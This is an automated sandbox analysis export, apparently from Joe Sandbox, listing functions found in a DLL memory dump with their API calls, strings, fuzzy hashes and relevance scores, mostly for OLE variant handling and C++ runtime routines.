Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: 56b193f0eb4008af6f22739ca6e76ed521f18a3d4944d6ba1afe9b86e0d50ff5
Instruction ID: 2df072f8eb117e3a6dd180d78bbb9c887e3c90d8f7f4c44d756c0c02f700618a
Opcode Fuzzy Hash: 56b193f0eb4008af6f22739ca6e76ed521f18a3d4944d6ba1afe9b86e0d50ff5
Instruction Fuzzy Hash: C2818CB1901219AFDB14DFA8D884FEEBBB9BF49304F14415DE505A7740DB35E909CBA0

Function 6CF7D880 Relevance: 18.2, APIs: 12, Instructions: 202COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF7D8EC
VariantInit.OLEAUT32 ref: 6CF7D902
VariantInit.OLEAUT32(?), ref: 6CF7D90D
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF7D929
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6CF7D966
VariantClear.OLEAUT32(?), ref: 6CF7D973
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6CF7D9B4
VariantClear.OLEAUT32(?), ref: 6CF7D9C1
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7DA6F
VariantClear.OLEAUT32(?), ref: 6CF7DA80
VariantClear.OLEAUT32(?), ref: 6CF7DA87
VariantClear.OLEAUT32(?), ref: 6CF7DA99

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$Element$CreateDestroyVector
String ID:
API String ID: 1625659656-0
Opcode ID: cecb4adc6c7306891e26f04414d0616b0349aff383f04841e0b81ed88223a5a3
Instruction ID: 28d2e6ed54be2ca3611cf178b20f83a117dc79f1da6c0e6d352dd49df49a7905
Opcode Fuzzy Hash: cecb4adc6c7306891e26f04414d0616b0349aff383f04841e0b81ed88223a5a3
Instruction Fuzzy Hash: 2F8156726083019FD714CF64C884B5ABBF5FF89714F148A5EE99897350E734E905CBA2

Function 6CF612A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF612DD
std::_Xinvalid_argument.LIBCPMT ref: 6CF612FB
_memmove.LIBCMT ref: 6CF61368
_memmove.LIBCMT ref: 6CF6139F
std::_Xinvalid_argument.LIBCPMT ref: 6CF6140C

Strings

string too long, xrefs: 6CF612D8, 6CF612F6
invalid string position, xrefs: 6CF61407

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: 15c9b62e045bb6cf8ae9e36b2ede66dac73dd2e17302ab68ee121c826e3f2f98
Instruction ID: d896f9b412999d13fb86c402f34258ea6c02eeb3ad1c0669b793747f2a143aa6
Opcode Fuzzy Hash: 15c9b62e045bb6cf8ae9e36b2ede66dac73dd2e17302ab68ee121c826e3f2f98
Instruction Fuzzy Hash: 9F4182323042449BD714CE6EDC91A9EB3B6EB813557348A2EE492CBF41DB71E845C7A1

Function 6CF74BA0 Relevance: 15.5, APIs: 10, Instructions: 475COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF74BDC
VariantInit.OLEAUT32(?), ref: 6CF74BE5
VariantInit.OLEAUT32(?), ref: 6CF74BEB
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF74BF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF74C2A
VariantClear.OLEAUT32(?), ref: 6CF74C37
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF75107
VariantClear.OLEAUT32(?), ref: 6CF75117
VariantClear.OLEAUT32(?), ref: 6CF7511D
VariantClear.OLEAUT32(?), ref: 6CF75123

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 442c54de21148aa3aefd089c738b41a9159d50033aeb9e27871ed6bc26e1861d
Instruction ID: 317531211e1f018617ac8f7dfcff1cf02e19b68f6bf6b0b1b1d182eb9023e155
Opcode Fuzzy Hash: 442c54de21148aa3aefd089c738b41a9159d50033aeb9e27871ed6bc26e1861d
Instruction Fuzzy Hash: 22120775A15705AFC758DBA8DD84DAAB3B9BF8C300F14466CF50AABB91CA30F841CB50

Function 6CF749B0 Relevance: 15.2, APIs: 10, Instructions: 174COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(6CFD05A8), ref: 6CF749EE
VariantInit.OLEAUT32(?), ref: 6CF749F7
VariantInit.OLEAUT32(?), ref: 6CF749FD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF74A08
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF74A39
VariantClear.OLEAUT32(?), ref: 6CF74A45
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF74B66
VariantClear.OLEAUT32(?), ref: 6CF74B76
VariantClear.OLEAUT32(?), ref: 6CF74B7C
VariantClear.OLEAUT32(6CFD05A8), ref: 6CF74B82

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 1c5f13d0582e2143136ec211f2959a42d3783dcfbaba49f29d95b3d2f4a7fdc0
Instruction ID: e4ca5f019add66c2217f233a4c4d63bd7b070501d3890cae3f53c65be3632b6f
Opcode Fuzzy Hash: 1c5f13d0582e2143136ec211f2959a42d3783dcfbaba49f29d95b3d2f4a7fdc0
Instruction Fuzzy Hash: 69517F72A002199FDB14DFA4DC84FAEBBB8FF89314F14416AE915EB745D734A901CBA0

Function 6CF747D0 Relevance: 15.2, APIs: 10, Instructions: 168COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF7480C
VariantInit.OLEAUT32(?), ref: 6CF74815
VariantInit.OLEAUT32(?), ref: 6CF7481B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF74826
SafeArrayPutElement.OLEAUT32(00000000,000000FF,?), ref: 6CF7485B
VariantClear.OLEAUT32(?), ref: 6CF74868
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF74974
VariantClear.OLEAUT32(?), ref: 6CF74984
VariantClear.OLEAUT32(?), ref: 6CF7498A
VariantClear.OLEAUT32(?), ref: 6CF74990

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 422424ad08b6692e0ef6dc7e6d3521859ce084a2c982004b2c1dc5c379889dd9
Instruction ID: 776d95873e3f7e9ab814ef5cc712435c0647d431a93e038de9ec81834e8ee9fb
Opcode Fuzzy Hash: 422424ad08b6692e0ef6dc7e6d3521859ce084a2c982004b2c1dc5c379889dd9
Instruction Fuzzy Hash: 14515C72A002499FDB14DFA4DC84EAEBBB9FF89314F14456EE505EB640D730A905CFA0

Function 6CF6DCD0 Relevance: 15.1, APIs: 10, Instructions: 138COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF6DD00
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000003), ref: 6CF6DD10
SafeArrayPutElement.OLEAUT32(00000000,6CF72FFF,?), ref: 6CF6DD47
VariantClear.OLEAUT32(?), ref: 6CF6DD4F
SafeArrayPutElement.OLEAUT32(00000000,6CF72FFF,?), ref: 6CF6DD6D
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 6CF6DDA4
VariantClear.OLEAUT32(?), ref: 6CF6DDAC
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF6DE16
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF6DE27
VariantClear.OLEAUT32(?), ref: 6CF6DE31

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Variant$ClearElement$Destroy$CreateInitVector
String ID:
API String ID: 3525949229-0
Opcode ID: ce847a7c41be1610cae81d76c5865ab391a7332eddf9d2a277b569db4d9cf479
Instruction ID: 7e9660800cb9878704bf1695f30f7f8aa80d7b577d5960c7fd4a9c52a9276cdb
Opcode Fuzzy Hash: ce847a7c41be1610cae81d76c5865ab391a7332eddf9d2a277b569db4d9cf479
Instruction Fuzzy Hash: 4A513A75A01609AFDB01DFA5C888FDEBBB8EF99700F118119EA15A7750DB34A901CBA0

Function 6CF8C1B0 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 266COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF8C213

Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB90ED
Part of subcall function 6CFB90D8: __CxxThrowException@8.LIBCMT ref: 6CFB9102
Part of subcall function 6CFB90D8: std::exception::exception.LIBCMT ref: 6CFB9113

Strings

gfff, xrefs: 6CF8C222
gfff, xrefs: 6CF8C259
gfff, xrefs: 6CF8C3F7
vector<T> too long, xrefs: 6CF8C20E
gfff, xrefs: 6CF8C3A3
gfff, xrefs: 6CF8C1F2
gfff, xrefs: 6CF8C2EA

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$gfff$gfff$gfff$gfff$vector<T> too long
API String ID: 1823113695-1254974138
Opcode ID: 18209dc1d1108b634390b0d7a9bd59f02f00216fecff4ef1733910bd2c580461
Instruction ID: 5ac48ee927483725bc9719bb098d100fed7cd8fa6c22906f89dda4088cec9cba
Opcode Fuzzy Hash: 18209dc1d1108b634390b0d7a9bd59f02f00216fecff4ef1733910bd2c580461
Instruction Fuzzy Hash: 0C9177B1A00609AFCB18CF99DC80EEEB7B9EB88314F14861DE955DB740D730BA04CB91

Function 6CF60CD0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6CF60D3A
std::_Xinvalid_argument.LIBCPMT ref: 6CF60D60
_memmove.LIBCMT ref: 6CF60D95
std::_Xinvalid_argument.LIBCPMT ref: 6CF60DBF
_memmove.LIBCMT ref: 6CF60E3E

Strings

string too long, xrefs: 6CF60D5B, 6CF60DBA
invalid string position, xrefs: 6CF60D35

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: ec9a7859a959d342564b8367dd2ca8d0c69e0731646f69e277d762a52e6770ca
Instruction ID: 002991e8501e7ca26ab3ccd8d09238cd48ad5a6d688326fd3c60cbecfe7b09c8
Opcode Fuzzy Hash: ec9a7859a959d342564b8367dd2ca8d0c69e0731646f69e277d762a52e6770ca
Instruction Fuzzy Hash: 7251D3327001559BD724CE1ED980A9FB3E6EBD5314B348A2EE855C7F84DBB0EC408795

Function 6CF81B20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 154libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 6CF81C5E
LoadLibraryW.KERNEL32(User32.dll,?,00000000,?,?,?,?,?,?,?,?), ref: 6CF81C69
GetProcAddress.KERNEL32(00000000,F1F2E532), ref: 6CF81CA2
GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 6CF81CC1
LoadLibraryW.KERNEL32(kernel32.dll,?,00000000), ref: 6CF81CCC
GetProcAddress.KERNEL32(00000000,EFF3E52B), ref: 6CF81D0A

Strings

User32.dll, xrefs: 6CF81C57, 6CF81C64
kernel32.dll, xrefs: 6CF81CBA, 6CF81CC7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: User32.dll$kernel32.dll
API String ID: 310444273-1965990335
Opcode ID: cbad8374a5e7f033a9b79b70c50f3a44573d19f9c523468baa54ace1b73a440b
Instruction ID: 0574154403c1d264909ebc6c3f666fac741ffccb7795f69edef86481748929c4
Opcode Fuzzy Hash: cbad8374a5e7f033a9b79b70c50f3a44573d19f9c523468baa54ace1b73a440b
Instruction Fuzzy Hash: 6B6138B5601A009FD760CF19C581B6BBBF2FB46700F64CA58D4A69BE52D736F846CB80

Function 6CFC4409 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 6CFC442E

Part of subcall function 6CFC3FC9: Replicator::operator[].LIBCMT ref: 6CFC404C
Part of subcall function 6CFC3FC9: DName::operator+=.LIBCMT ref: 6CFC4054

DName::operator+.LIBCMT ref: 6CFC4487
DName::DName.LIBCMT ref: 6CFC44DF

Strings

,<ellipsis>, xrefs: 6CFC447A, 6CFC447F
..., xrefs: 6CFC44C2
<ellipsis>, xrefs: 6CFC44C9, 6CFC44CE
void, xrefs: 6CFC44D7
,..., xrefs: 6CFC4473

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: 367b155fd97d81c4ad4e72b24c59aefa18fbe48fd9e498811dd66f5959260974
Instruction ID: ac98bc382e7b13e90b46960ace0eb170bb08fc2ba7321b1a6aebea6386b18e4e
Opcode Fuzzy Hash: 367b155fd97d81c4ad4e72b24c59aefa18fbe48fd9e498811dd66f5959260974
Instruction Fuzzy Hash: 0221D0B0704109AFCB51DF58E040AAE3FF8EB46789B258181EC59CBB12CB34E903CB51

Function 6CFC5D36 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 6CFC5D40
DName::DName.LIBCMT ref: 6CFC5D4C

Part of subcall function 6CFC3B3B: DName::doPchar.LIBCMT ref: 6CFC3B6C

UnDecorator::getScopedName.LIBCMT ref: 6CFC5D8B
DName::operator+=.LIBCMT ref: 6CFC5D95
DName::operator+=.LIBCMT ref: 6CFC5DA4
DName::operator+=.LIBCMT ref: 6CFC5DB0
DName::operator+=.LIBCMT ref: 6CFC5DBD

Strings

void, xrefs: 6CFC5D9C

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: ec9a5445f0e19512f70b993e6688dd13442cb7224597a07ffc56c17ec9e7a68b
Instruction ID: 2a3214c89230bf8e3fbc6590051865e996aeb934be1f692edcf6bff42221fb3e
Opcode Fuzzy Hash: ec9a5445f0e19512f70b993e6688dd13442cb7224597a07ffc56c17ec9e7a68b
Instruction Fuzzy Hash: 6C118271B1420AAFD709DB68C898BEE7BB49B01745F044098D4569B791DF70AA4ACB42

Function 6CF7C850 Relevance: 13.8, APIs: 9, Instructions: 271COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF7C88F
VariantInit.OLEAUT32(?), ref: 6CF7C895
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7C8A0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF7C8D5
VariantClear.OLEAUT32(?), ref: 6CF7C8E1
std::tr1::_Xweak.LIBCPMT ref: 6CF7CB1C
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7CB39
VariantClear.OLEAUT32(?), ref: 6CF7CB49
VariantClear.OLEAUT32(?), ref: 6CF7CB4F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
